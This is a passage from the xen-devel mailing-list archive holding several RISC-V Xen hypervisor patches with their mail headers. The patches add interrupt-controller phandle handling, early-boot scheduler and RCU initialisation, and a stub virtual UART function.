	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v6 19/23] xen/riscv: implement init_intc_phandle()
Date: Mon, 20 Jul 2026 18:00:00 +0200
Message-ID: <e18d2a459314288b13fdd4c8d64bfc3aa96920b9.1784559209.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784559209.git.oleksii.kurochko@gmail.com>
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-720697/1784563248-F26B72AC-9EFBC764/10/73395122804
X-purgate-type: spam
X-purgate-size: 1378

Implement init_intc_phandle() to read phandle of interrupt controller
node and save it in kernel->phandle_intc for the future usage during
creation of guest interrupt controller node.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v4-6:
 - Nothing changed. Only rebase.
---
---
 xen/arch/riscv/dom0less-build.c | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/xen/arch/riscv/dom0less-build.c b/xen/arch/riscv/dom0less-build.c
index 4cc00012aa8d..a1fa51b996a7 100644
--- a/xen/arch/riscv/dom0less-build.c
+++ b/xen/arch/riscv/dom0less-build.c
@@ -4,9 +4,26 @@
 #include <xen/device_tree.h>
 #include <xen/fdt-kernel.h>
 #include <xen/init.h>
+#include <xen/libfdt/libfdt.h>
 
 #include <asm/p2m.h>
 
+int __init init_intc_phandle(struct kernel_info *kinfo, const char *name,
+                             const int node_next, const void *pfdt)
+{
+    if ( dt_node_cmp(name, "intc") == 0 )
+    {
+        uint32_t phandle_intc = fdt_get_phandle(pfdt, node_next);
+
+        if ( phandle_intc != 0 )
+            kinfo->phandle_intc = phandle_intc;
+
+        return 0;
+    }
+
+    return 1;
+}
+
 int __init make_arch_nodes(struct kernel_info *kinfo)
 {
     /* No RISC-V specific nodes need to be made, at the moment. */
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:00:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:00:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367005.1616903 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqQJ-0002Cd-H4; Mon, 20 Jul 2026 16:00:55 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367005.1616903; Mon, 20 Jul 2026 16:00:55 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqQJ-0002BH-37; Mon, 20 Jul 2026 16:00:55 +0000
Received: by outflank-mailman (input) for mailman id 1367005;
 Mon, 20 Jul 2026 16:00:51 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqQE-0001Jn-Ug
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:00:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqQE-00CGmJ-Ak
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:00:50 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4621-bab6-0a2a0a5309dd-0a2a4506c59a-34
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:50 +0200
Received: from [209.85.221.46] (helo=mail-wr1-f46.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4632-195a-0a2a45060019-d155dd2edc8b-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:50 +0200
Received: by mail-wr1-f46.google.com with SMTP id
 ffacd0b85a97d-474560436c3so5222406f8f.0
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:00:50 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63edd7d3sm30084673f8f.25.2026.07.20.09.00.48
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:00:49 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563250; x=1785168050; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=mI0eMyl2MrsS1GuuBY8meRpdR0WpNCgvj7HrpxOkMfE=;
        b=WdN/wMiovVW8ObONqG1EywjV5c/ud53OpbbxFPLmd1x5aomV/M49IuAaJBFmYvOOmd
         U2AebZKxPe1VdLQVsCTbNPIHzvpKFK6rf7+usF4r5qaygk9fCbP/FvGtn8YCrsXVhawM
         70pHZEaMrH1vgUrQEZy5RHKkJkjSBulPKkmRS1/mrbKmpnnVKicK9C86D5ZSllt+CJzH
         N2qzYi9feMOkAYkHAcbUbWYijnHGlxtSJva6DVqR75iN+bxiX+42iaKMqCQCIC7Gl+/X
         nusbxahSirRdYUMTAbaLPhuF8V4Ezx42HeU38BUWrUuzk+G7Tv9b2Zjh9GBPXCEp0GeB
         xKWw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563250; x=1785168050;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=mI0eMyl2MrsS1GuuBY8meRpdR0WpNCgvj7HrpxOkMfE=;
        b=GhyXv1XCw8giy35EdrB7jabJfXVE68jtjGk15gptcn0mVGDF//yJIUw0dDcT1Y24dw
         L5XRPXKubuj0SI8mtqrzS5EQ8zMwGG3BcZfID0Moqu+gvkkGcvfIS5Wa8NQWIom12C+E
         APoYgQjSceUf6wnQxihF6R8apB+LCfeuy+X/G922SlD6HWsgpmKi2H+4ObB6QtyK/b7J
         qIHVyxrBtoYYGxQjNaQCAE/z7tEBWol2vRojGAjYKoDW0Hs7VX0DXAXWGXZ/S8yGc53W
         AKBDRwkyCAqYCBhsiTOROEJZB9aObFr7CGlDMQQCMNzwstiFB32NkrCVQSz2uJC/B5Il
         N07Q==
X-Gm-Message-State: AOJu0YyAdkmcPRfVtCU31wGvJ6llePTBZX45hT2PLlvSdXei4nWcvbLa
	lg6mWbz81xmshfAWR7ZSHVLcxyF2FDoCgvPCHV04SUOuOBPTHZMtKqh9+wem2g==
X-Gm-Gg: AR+sD13k5oCKsDO038JBoyxhtM1PVIg9G+hQCph5SwVFPMcOxJVE2HtF4cWAEF1W9bd
	UUbzqxeqT68eSTIERQ3UjPHI8B9Qa90HyDGwyx85vyB3fGhTIy/X0GtgsZ5c9KwNmz5g1KST7Q3
	07v6V0XxzmbgIa0RE6iHUNIlG+7WjAFTxe6H91sWNmBjX33hiGTxt4PJr6f1wcWh3fP1dumQDdZ
	rde1l1ngQuDzv4sqTDrrEI01UJywjGA6jZjK5VxP/I48zCOFFN/jgfLQtIlUqAPIOpQn9sbO3zx
	LL0SWPZ+JcjsgdQFXnQar7N9GWxcsNYFZpAlxN/JJV00wYLzC46PsHilFJReXGMp4dKnQiW8Fag
	qBxXZmre0RxpzJqLY2ZGx0SGLezjXO0hL2W1AcW6cF2luF1EpVgdtpv+J4W9q2Q48t34XNnC+pP
	Ob9PdL4kLOaOlQAZt7FFrm8K9oGO/+Pgg50nv13RCQQYerrtA=
X-Received: by 2002:a05:6000:230c:b0:47f:5289:5606 with SMTP id ffacd0b85a97d-47f622f2a76mr18145104f8f.12.1784563249622;
        Mon, 20 Jul 2026 09:00:49 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v6 20/23] xen/riscv: initialize RCU, scheduler, and system domains in start_xen()
Date: Mon, 20 Jul 2026 18:00:01 +0200
Message-ID: <5f586849014347c550ae1be90ef620a66cec9efd.1784559209.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784559209.git.oleksii.kurochko@gmail.com>
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-16d1c6/1784563250-F4C0777B-05D18F42/10/73395122804
X-purgate-type: spam
X-purgate-size: 1560

Wire up the missing early-boot initialization steps in start_xen().

The scheduler must be initialized prior to do_initcalls() because
cpupool_create_pool() is called during initcalls; without it,
BUG_ON(IS_ERR(pool)) is triggered inside cpupool_create_pool().

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v4-6:
 - Nothing changed. Only rebase.
---
Changes in v3:
 - Add Acked-by: Jan Beulich <jbeulich@suse.com>.
---
Changes in v2:
 - New patch. Several patches were folded into one.
---
---
 xen/arch/riscv/setup.c | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/xen/arch/riscv/setup.c b/xen/arch/riscv/setup.c
index 56a0907a855f..c3e98733ebc3 100644
--- a/xen/arch/riscv/setup.c
+++ b/xen/arch/riscv/setup.c
@@ -6,9 +6,12 @@
 #include <xen/compile.h>
 #include <xen/console.h>
 #include <xen/device_tree.h>
+#include <xen/domain.h>
 #include <xen/init.h>
 #include <xen/irq.h>
 #include <xen/mm.h>
+#include <xen/rcupdate.h>
+#include <xen/sched.h>
 #include <xen/serial.h>
 #include <xen/shutdown.h>
 #include <xen/smp.h>
@@ -156,12 +159,21 @@ void __init noreturn start_xen(unsigned long bootcpu_id,
 
     timer_init();
 
+    rcu_init();
+
+    setup_system_domains();
+
     local_irq_enable();
 
     console_init_postirq();
 
     guest_mm_init();
 
+    scheduler_init();
+    set_current(idle_vcpu[0]);
+
+    do_initcalls();
+
     printk("All set up\n");
 
     machine_halt();
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:00:57 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:00:57 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367016.1616909 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqQK-0002Lw-Nt; Mon, 20 Jul 2026 16:00:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367016.1616909; Mon, 20 Jul 2026 16:00:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqQJ-0002JK-TN; Mon, 20 Jul 2026 16:00:55 +0000
Received: by outflank-mailman (input) for mailman id 1367016;
 Mon, 20 Jul 2026 16:00:52 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqQG-0001Zm-98
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:00:52 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqQF-00HThX-LH
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:00:51 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4621-e002-0a2a0a5209dd-0a2a4508cf58-38
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:51 +0200
Received: from [209.85.221.51] (helo=mail-wr1-f51.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4633-f659-0a2a45080019-d155dd33cd86-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:51 +0200
Received: by mail-wr1-f51.google.com with SMTP id
 ffacd0b85a97d-47c2b362ee2so9040675f8f.1
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:00:51 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63edd7d3sm30084673f8f.25.2026.07.20.09.00.49
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:00:50 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563251; x=1785168051; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=GnjPdWyeVMMtK/rO246vVnQEYvE09wVm6zsQIO2jAY8=;
        b=FIvzd/Xla4yTAsOLJDKo9+xkG4Nwkey9B3GL05ZY7/6ak4jgEMF+8pxUZPz5mLCW2k
         fA/CrZuEQyHJcHbgt0tx2czNrT809NAsWwVF1OSiSKqEoyRfq1cC9X8wLP4e69EWAeVh
         KgRe6df4fvl8ICH+E7gxJifFnEBdftOJcn0PfUdqriKluECnM22vrcS7etCWN34EoWJU
         +AsQUCIxRl4zqJ0sJntnN5o0KAFE95Rq0gKwtcyTE7K7cRSJowWkqaiaW4xMGdD2bvkY
         0jwUXRsenKHb4re0iMN3HFTZpRyN8aRjGL3jXB0lu+fJB3ujkm3wSwg9+Gg1th1Z88sL
         TGEQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563251; x=1785168051;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=GnjPdWyeVMMtK/rO246vVnQEYvE09wVm6zsQIO2jAY8=;
        b=EAjpUBeTTHeZeVQHv3WESNflJ1eSKJgEyoc7amWIHMKjb/Pr8BNf5pABe2VSdsc4Hb
         TpPnvQfIMiIP7t2lWfnYGv3KOsMcOp1y2QD0UwaPOLvKt2Pu/1pfZl+OkKSdbbFpLemM
         6qnFBzMUOlLcnTF/pF3axzGsqokyFggYmiR9LTzNAsTNLWmHmf+UxIYoZCbqLijVkcll
         KOoPFS1pte/aQCnHisOQXTVM9xVTg8XnH/mUminPc4MIvSkPQ+NHMtmKSgjCQT/Ya4Vk
         +Y/sw0K4O/AzUTntFH64ASYrbg0LsHAlZdsoF8IJR18E85cKWa09UCAgo54fYYzWaPdO
         A/lQ==
X-Gm-Message-State: AOJu0YzwPsrGL1RumJa5pRyFdcYxUOLESMqaVcy3/pSw/ytehMus+sqf
	lc+L3JXG02938YgUGpvaVcyXZvv4Gk4ZE3GOawcqrDBeoScaNtoro2G8Z2R7ag==
X-Gm-Gg: AR+sD11pUVGY/b+1vmcMuiHr0b54bMWjJQ3IvjpSr4bzc6mEKiUDRCf+XP7chJBSHJ5
	9JF/P6A2YOse4yEKnimq342xUtxcD8FjqbIwTEV2MGCFWfyU/Z5ndePf4B1T3PGqUum2ISHiql7
	KWGAwTM7iMyklx/EhAag63v9Z2igo2ROik25GQAIhOQu60JcVCkUjNBIBlKk1Z4hq8MQy67TTfW
	wQOSSNCROxjmX+kmt15YT90CmGD0zexUFN0Xzo47wywHmHMG7cYt/jwZpUVIk3asieoSlm1PzZG
	pZOQ1aUbc92+2IEIv9m+ZxFUKIFyTrfu1XPROcWK4BEyoCNVAmJhJRkFNEcHDT6LxUizeTeF/w9
	e6gfwLyendbefJHmh0eDBrbh4VTraXaJ2gCaVU3J/c/DoUUoiWfehK+7bku3tcz+Dj21KAa3HZz
	oN7uzfvPzkNK3BeWebkaA0OHjSNoG2Gm+rgfBPbh85zIZ685c0xIsgQp6WVA==
X-Received: by 2002:a05:6000:1785:b0:47f:7b75:61a with SMTP id ffacd0b85a97d-47f7b75083amr3171928f8f.15.1784563251033;
        Mon, 20 Jul 2026 09:00:51 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v6 21/23] xen/riscv: provide init_vuart()
Date: Mon, 20 Jul 2026 18:00:02 +0200
Message-ID: <823515f11f566c54bc060ad68af838c0d3723b9c.1784559209.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784559209.git.oleksii.kurochko@gmail.com>
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c1860d/1784563251-CE14687B-542FBC1A/10/73395122804
X-purgate-type: spam
X-purgate-size: 1391

For debug purpose is enough to have only print messages from guest what is
now implemented in vsbi_legacy_ecall_handler().

For full guesst console support it will better to have something similar to
[1], thereby there is nothing specific should be done, at least, for now
and init_vuart() is provided to make dom0less code buildable.

[1] https://lore.kernel.org/xen-devel/alpine.DEB.2.22.394.2602041533440.3175371@ubuntu-linux-20-04-desktop/

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v3-v6:
 - Nothing changed. Only rebase.
---
Changes in v2:
 - Add Acked-by: Jan Beulich <jbeulich@suse.com>.
---
---
 xen/arch/riscv/dom0less-build.c | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/xen/arch/riscv/dom0less-build.c b/xen/arch/riscv/dom0less-build.c
index a1fa51b996a7..d1a51b92936a 100644
--- a/xen/arch/riscv/dom0less-build.c
+++ b/xen/arch/riscv/dom0less-build.c
@@ -8,6 +8,14 @@
 
 #include <asm/p2m.h>
 
+int __init init_vuart(struct domain *d, struct kernel_info *kinfo,
+                      const struct dt_device_node *node)
+{
+    /* Nothing to do at the moment */
+
+    return 0;
+}
+
 int __init init_intc_phandle(struct kernel_info *kinfo, const char *name,
                              const int node_next, const void *pfdt)
 {
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:00:58 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:00:58 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367024.1616916 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqQM-0002aE-3V; Mon, 20 Jul 2026 16:00:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367024.1616916; Mon, 20 Jul 2026 16:00:57 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqQL-0002WV-0y; Mon, 20 Jul 2026 16:00:57 +0000
Received: by outflank-mailman (input) for mailman id 1367024;
 Mon, 20 Jul 2026 16:00:55 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqQI-00025f-Qu
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:00:54 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqQI-00HThX-7S
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:00:54 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4632-e002-0a2a0a5209dd-0a2a4507c57c-10
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:54 +0200
Received: from [209.85.221.41] (helo=mail-wr1-f41.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4635-b4ea-0a2a45070019-d155dd29d495-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:54 +0200
Received: by mail-wr1-f41.google.com with SMTP id
 ffacd0b85a97d-47f7444576cso1009059f8f.0
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:00:54 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63edd7d3sm30084673f8f.25.2026.07.20.09.00.51
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:00:51 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563253; x=1785168053; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=LNKh9iZCNRF5pxwhL4Q/IsesPS2+IO+kB0heVo/BkTo=;
        b=RCesPm+TjmDqTvES5uexlxci/EUjRBK6KaR26z8j3ioMrEmjA5picJJ9fhjtr7iinY
         jsUxl+eMZPiq11z56fvnSClBnLCQipBRP4Z3ml35Lb0J/Gnq1Z27mXwRBzND063ROXd8
         wZOKIiwWxF4bL4ueFf1IDElLpuOtJrSXFeKLmZMm0UiAHP+E4VbL6T9ASgMLolal7bBK
         0DgZEvcn4rTEikYH+Dj0ApodtY5M3xkXy2/sFEBuWX3H/SANZiT18sx7tj4fKHabAyuT
         zJtLXV00WxMFSruVaPnveW5iiqws5BN28iRgQ24Pglc3tUCD7zfxB4eFus5pRw/PUDnR
         lL3w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563253; x=1785168053;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=LNKh9iZCNRF5pxwhL4Q/IsesPS2+IO+kB0heVo/BkTo=;
        b=r3H4Y9RSoNraBW4glXYcBwHtXBeq0UjV+RM7DqEq8TeeIJ5tEbvMfb6Zdr69v3oHau
         dezE9EIUwa6ugJqWItv5vUPtY2QglcXybKp+qgyO4wurjwur5totPWT4MVohu8nDmOp/
         K5YxG3lsQWu4Vht/Gw5hRaE82UgAL5066r30+5GHOXXkVsAh8DhnePpHeq+7FG1GYVbg
         2mnG+OmFtTxlkqWzu1BDt6Z6G4/5ADhBuwAY0K3OBf3gDfQN1FPijgt5A5+Q2MzOvXlY
         6cFVPFT99nM+2buw7fEQ4CpoiZrPA2PjHw5QwAyv/CJEyOGc3om+yd1EZjrTJ7/xTma6
         YPlQ==
X-Gm-Message-State: AOJu0YzD80+EGqDVQYAiXNUDIjcdhFR/sjHt/agnQPUQIbnUhN8lkLTs
	RdtJFqwMHFlrbEhMWlBkhBt7eqFyVJ7N4wepplGP74rSvZ9/c6LvLuNJooWpmg==
X-Gm-Gg: AR+sD120nlU8LNW/LPj4WBtsKPKFPO05zne7gSXVdIrrKqG1dbNr3mOyCR2+gEoMRmg
	ihRTSTjAtzRu8l7vKddvi3TYYxqfvpUGSmLMwjWUHveM1NLXQmMHfILu2xLQeilUGWTDjQtQ03h
	3njzs1IAnjF5Zo6p3+bVSQHtyvmFz74y48NUUWccg80vPK6J2qwwISv8KHvQrtHhvjr704J4orm
	zDtpRKaOibve2xNhd9IXtBzIBEFVwmPymctZE+dJUtY32zldroCw6tQahJQZQU0Z1sGJupJ3Nzj
	ZRB12tQ0cumnK0ltjvW+ISt7svwmr3M79u5/WjyPIEzYqieUXAeJEFZ1VApUgezVoYbH7321zi0
	W1VvJ5f39MrWjrEl79tYxKvCAHluubgulZpaZe/00PiYeXnbmKDDaI4Dt809dszfC3gA7akiWy4
	tYOLoHcWWUVAi+PXeB3+TIAf6eVZE/2P4lSZ2QZijtXknwNGM=
X-Received: by 2002:a05:6000:4a01:b0:474:b860:b7b1 with SMTP id ffacd0b85a97d-47f622feef4mr17043290f8f.9.1784563253056;
        Mon, 20 Jul 2026 09:00:53 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
